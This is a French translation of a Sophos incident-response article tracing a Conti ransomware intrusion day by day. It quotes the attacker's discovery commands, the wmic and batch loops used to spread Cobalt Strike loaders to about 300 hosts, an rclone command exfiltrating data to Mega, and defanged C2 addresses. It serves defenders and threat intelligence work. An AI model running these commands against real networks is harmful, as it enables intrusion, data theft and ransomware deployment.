Ransomware Conti : une attaque détaillée jour après jour

Ransomwares

Le ransomware Conti est une menace présente au niveau mondial qui cible ses victimes principalement en Amérique du Nord et en Europe occidentale.

ransomware conti

Cet article fait partie d’une série axée sur la famille de ransomware Conti, incluant des détails techniques : Conti ransomware : Evasive by nature, ainsi qu’un guide que les administrateurs IT pourront utiliser pour gérer au mieux les conséquences d’une attaque impliquant ce dernier : What to expect when you’ve been hit with Conti ransomware.

Sophos Rapid Response a observé plusieurs attaques du ransomware Conti, qui ont été confirmées, au cours des six derniers mois. Les opérateurs Sophos sont également convaincus qu’ils auraient certainement eu à gérer un autre incident impliquant Conti s’ils n’avaient pas stoppé son offensive avant le déploiement du ransomware à proprement parler.

ransomware conti

Depuis sa première apparition, le ransomware Conti est supposé être le successeur de Ryuk avec une différence cruciale qui est que le groupe se cachant derrière Conti menace de divulguer les données exfiltrées afin de forcer les victimes à payer la rançon. Cette utilisation de données exfiltrées signifie que les entreprises appartenant à presque tous les secteurs pourraient être ciblées, bien que le groupe Conti ait frappé plus souvent celles faisant partie du secteur de la vente, de la production, de la construction et du secteur public.

ransomware conti

Un cas confirmé impliquait une attaque contre une entreprise qui était parvenue à supprimer l’attaquant au niveau d’un unique serveur avant de découvrir que l’attaquant avait eu accès à deux serveurs en même temps. Malgré les efforts de l’entreprise, Sophos Rapid Response a dû être appelé pour faire face à une attaque de ransomware Conti qui ciblait près de 300 endpoints.

Il a fallu un peu plus de 2,5 heures à l’équipe Rapid Response pour déterminer quels comptes et appareils avaient été affectés et quels outils avaient été utilisés au cours de cette attaque. L’équipe a empêché l’attaque de se poursuivre et guidé le client tout au long du processus d’intervention de Sophos Rapid Response.

Moins de 24 heures après l’intervention de Rapid Response, la plupart des infrastructures critiques du client avaient pu reprendre un fonctionnement normal et dans les 48 heures qui ont suivi, l’équipe avait confirmé le point d’accès initial de l’attaque.

Un plan complet de réponse aux incidents est essentiel pour faire face à une attaque du même type que celle lancée par le ransomware Conti. Consultez le guide Sophos de l’administrateur IT : What to expect when you’ve been hit with Conti ransomware.

Examinons de plus près l’attaque du ransomware Conti, jour après jour, et dans certains cas, minute par minute.

Jour #1 : accès initial et analyses

Le point d’accès initial de l’attaque a finalement été déterminé comme étant un pare-feu FortiGate utilisant un firmware vulnérable, à savoir la version 5.6.3 build 1547 (GA). Une fois à l’intérieur, l’attaquant a eu accès simultanément à deux serveurs différents, et ce à la seconde près.

Il a fallu exactement 16 minutes à l’attaquant pour exploiter le pare-feu vulnérable et obtenir un accès de type administrateur de domaine au niveau des deux serveurs.

Au cours des six heures suivantes, l’attaquant a déployé une balise Cobalt Strike sur l’un des serveurs et a commencé à exécuter des commandes pour constituer une liste de comptes d’administrateur de domaine … :

cmd.exe /C nltest /dclist:[target company name]
cmd.exe /C net group “domain Admins” /domain
cmd.exe /C nltest /DOMAIN_TRUSTS
cmd.exe /C adft.bat
cmd.exe /C type shares.txt

… ainsi que des commandes pour cartographier la topographie de base du réseau :

ping <computer name>.<domain>.local -n 1
cmd.exe /C portscan <IP ranges> icmp 1024

Sur le deuxième serveur, par contre, l’attaquant n’a rien entrepris au début de l’attaque.

La victime a identifié et stoppé l’attaque en cours sur un serveur. Malheureusement, elle n’a pas détecté l’accès que l’attaquant avait obtenu au niveau de l’autre serveur.

Après que la victime a empêché l’accès de l’attaquant au premier serveur, il n’a fallu que 15 minutes à l’attaquant pour basculer vers le deuxième serveur, déployer une autre balise Cobalt Strike et poursuivre l’attaque. L’attaquant a ensuite utilisé le compte d’administrateur de domaine compromis pour accéder à un troisième serveur et a exécuté la commande Windows Management Instrumentation (WMI) suivante pour déployer à distance une autre balise Cobalt Strike sur le troisième serveur :

cmd.exe /C wmic /node:<IP Address> process call create “rundll32.exe
C:\Programdata\sys.dll entryPoint

Jour #2

Le deuxième jour, Sophos n’a détecté aucune activité malveillante.

ransomware conti

Jour #3 : exfiltration des données et collecte des identifiants

Le troisième jour de l’attaque, sur une période de 10 heures, les acteurs malveillants ont identifié des répertoires contenant des données potentiellement précieuses et ont commencé l’exfiltration.

L’attaquant a déployé RClone sur le troisième serveur et créé un fichier de configuration avec les identifiants de connexion pour Mega. Les répertoires exfiltrés comprenaient des données du service des ressources humaines, du département IT, du service de crédit, de la comptabilité, des cadres supérieurs et des répertoires identifiés comme étant liés au budget.

Tout d’abord, l’attaquant a déployé RClone et a créé un fichier de configuration contenant l’email et le mot de passe du compte Mega où les données exfiltrées seraient transférées.

rclone.exe  copy “\\<Server 3>\<Folder path>” remote:<victim name> -q 
–ignore-existing –auto-confirm –multi-thread-streams 12 –transfers 12
C:\Users\<compromised domain admin>\.config\rclone\rclone.conf

L’attaquant a également exécuté un script batch, cp.bat, pour rechercher les identifiants de l’utilisateur en copiant tous les fichiers XLSX avec la chaîne “pas” dans le nom du fichier.

Jour #4 : attaques du ransomware Conti et début de l’intervention de l’équipe Rapid Response

Le premier jour de l’attaque, les acteurs malveillants avaient constitué une carte du réseau de la victime et enregistré des listes de fichiers texte des endpoints et des serveurs. Le jour #4, vers 1h, heure locale, l’attaquant a utilisé des scripts batch pour parcourir ces listes de périphériques afin de copier les loaders Cobalt Strike sur un total de près de 300 endpoints et serveurs.

Tout d’abord, l’attaquant a déployé une balise Cobalt Strike sur un quatrième serveur à titre de test :

cmd.exe /C wmic /node: <Server 4 IP Address> process call create “rundll32.exe 
C:\Programdata\doc.dll entryPoint”

Ensuite, l’attaquant a exécuté un script batch, copy_files_srv.bat, pour déployer le loader Cobalt Strike, doc.dll, sur les serveurs cibles répertoriés dans srv.txt :

for /f %%i in (srv.txt) do copy “C:\ProgramData\doc.dll” \\%%i\c$\ProgramData\doc.dll

Enfin, l’attaquant a exécuté un autre script batch, wm_start.bat, pour exécuter le loader Cobalt Strike sur chaque serveur répertorié dans srv.txt via rundll32.exe et lancer la balise :

for /f %%i in (srv.txt) do wmic /node: %%i process call create “rundll32.exe 
C:\Programdata\doc.dll entryPoint”

Ces deux dernières commandes ont ensuite été répétées avec le script batch, copy_files_work.bat et le fichier texte work.txt pour déployer et amorcer les balises Cobalt Strike sur près de 300 endpoints cibles au niveau du réseau de la victime.

Les balises Cobalt Strike ont été activées 40 minutes après avoir été chargées sur les appareils cibles et ont utilisé une technique appelée “reflective DLL injection” (injection DLL réfléchie) pour lancer le ransomware Conti.

Un fichier DLL est installé sur les appareils cibles, se connecte à une adresse C2 et obtient le code du ransomware hébergé à ce niveau-là. Le code du ransomware est ensuite exécuté directement en mémoire, signifiant ainsi que lorsqu’il commence à chiffrer la machine cible, il n’a jamais été inscrit au préalable sur le disque“, a déclaré Peter Mackenzie, Manager de Rapid Response. “Malgré l’intelligence de ce processus, la technologie Sophos Intercept X n’aurait, malgré tout, eu aucune difficulté pour le stopper“.

Les adresses C2 utilisées étaient les suivantes :

  • Docns[.]com/us/ky/louisville/312-s-fourth-st.html
  • docns[.]com/OrderEntryService.asmx/AddOrderLine
  • 23[.]106[.]160[.]174
  • 91[.]199[.]212[.]52

Au cours des 3 heures suivantes, Sophos Intercept X a détecté et bloqué le ransomware Conti avec succès sur tous les ordinateurs protégés, mais des dommages ont été causés au niveau des périphériques non protégés. Pour en savoir plus sur le fonctionnement de l’injection DLL réfléchie et du ransomware Conti, consultez les détails techniques dans l’article suivant : Conti ransomware by Sophos Uncut.

Le client a bloqué tout le trafic Internet à l’exception de Sophos, a stoppé l’infrastructure critique et a appelé Sophos Rapid Response.

Dans les 45 premières minutes, Rapid Response était déjà engagé. Avant même d’avoir eu l’appel de lancement des opérations pour guider le client via le service, l’équipe avait déjà :

  • Identifié le compte compromis utilisé durant l’attaque.
  • Identifié et bloqué la DLL malveillante utilisée pour déployer le ransomware Conti.
  • Identifié et bloqué les adresses command and control (C2) utilisées par l’attaquant.
  • Identifié tous les endpoints ciblés.
  • Déployé Sophos Managed Threat Response (MTR) au sein de l’environnement client.
  • Débuté la collecte de preuves forensiques.

Dans les 45 minutes qui ont suivi l’appel de lancement, l’équipe Rapid Response a également établi une liste de toutes les données exfiltrées par l’attaquant.

Jour #5 : retour à la normale

Le cinquième jour après que l’attaquant a eu accès pour la première fois au réseau de la victime, et moins de 24 heures après avoir fait appel à Sophos Rapid Response, le client a pu redémarrer la plupart de son infrastructure critique reprenant ainsi un fonctionnement normal.

Grâce à Rapid Response, toutes les machines non protégées ont été restaurées à partir de sauvegardes ou par un processus de re-imaging, puis protégées par Sophos avec une activation de l’authentification multifacteur au niveau du VPN du client.

L’investigation de l’équipe Rapid Response n’était pas encore terminée. L’équipe a identifié une possible deuxième exfiltration de données, un deuxième compte compromis et un trafic suspect au niveau du Remote Desktop Protocol (RDP) via le pare-feu vulnérable.

Jour #6 et #7 : phase finale et passage de relais

Une fois l’attaque stoppée et la restauration terminée, il ne restait plus qu’un peu de nettoyage à effectuer, notamment concernant la confirmation de la méthode d’accès initial de l’attaquant et la mise à niveau par le client de son pare-feu pour corriger le point vulnérable.

Sophos Rapid Response a ensuite dirigé le client vers l’équipe Sophos Managed Threat Response (MTR) pour poursuivre la surveillance 24h/24 et 7j/7.

Détection et IoC

Les composants du ransomware Conti peuvent être détectés dans Sophos Endpoint Protection sous les désignations suivantes : HPmal/Conti-B, Mem/Conti-B ou Mem/Meter-D.

Des indicateurs supplémentaires de compromission ont été publiés sur SophosLabs Github.

Tactiques, Techniques et Procédures (TTP) du groupe Conti

Dans ce cas, le groupe Conti a obtenu un accès initial aux environnements de la victime en exploitant des applications destinées au public (MITRE ATT&CK T1190) et en utilisant un compte administrateur de domaine compromis (MITRE ATT&CK T1212) pour faciliter les mouvements latéraux.

L’acteur malveillant a exploité une vulnérabilité dans le pare-feu FortiGate, à savoir la version 5.6.3 build 1547 (GA). Les exploits connus pour ce firmware vulnérable incluent une vulnérabilité considérée comme critique (CVE-2018-13379) et une autre de niveau élevé (CVE-2018-13374).

Le groupe a utilisé plusieurs scripts batch pour la découverte de la configuration du réseau du système (MITRE ATT&CK T1016), la découverte du système à distance (MITRE ATT&CK T1018) et l’analyse des services réseau (MITRE ATT&CK T1046). Immédiatement après l’accès initial, l’acteur malveillant a cherché à identifier les comptes d’administrateur de domaine (MITRE ATT&CK T1078.002) et les partages réseau (MITRE ATT&CK T1021.002).

Le déploiement des balises et des loaders Cobalt Strike a été effectué à l’aide des commandes Windows Management Instrumentation (MITRE ATT&CK T1047).

L’acteur malveillant a utilisé RClone afin d’exfiltrer les données vers le service de stockage de fichiers MEGA (MITRE ATT&CK T1567.002).

Les balises Cobalt Strike ont été chargées sur tous les systèmes cibles pour effectuer une attaque par injection DLL réfléchie (MITRE ATT&CK T1055.001). Le fichier DLL a utilisé des adresses C2 pour obtenir le code Conti, puis l’a chargé et exécuté directement en mémoire sans inscrire le ransomware sur le disque avant de chiffrer les données (MITRE ATT&CK T1486).

Si vous êtes victime d’un incident actif et avez besoin d’une réponse immédiate, contactez Sophos Rapid Response. Pour obtenir plus de détails sur notre service MTR (Managed Threat Response), disponible 24h/24, 7j/7, rendez-vous sur notre site Web ou contactez votre représentant Sophos.

Nous remercions tout particulièrement Abhijit Gupta, Bill Kearney, David Anderson, Elida Leite, Kevin Simpson, Matthew Sharf, Paul Jacobs, Peter Mackenzie, Ratul Ghosh, Robert Weiland, Sergio Bestulic, Syed Shahram Ahmed, Varun Hirve et Vikas Singh pour leurs efforts en matière de détection, d’investigation et de réponse aux menaces.

Billet inspiré de A Conti ransomware attack day-by-day, sur le Blog Sophos.

Leave a Reply

Your email address will not be published.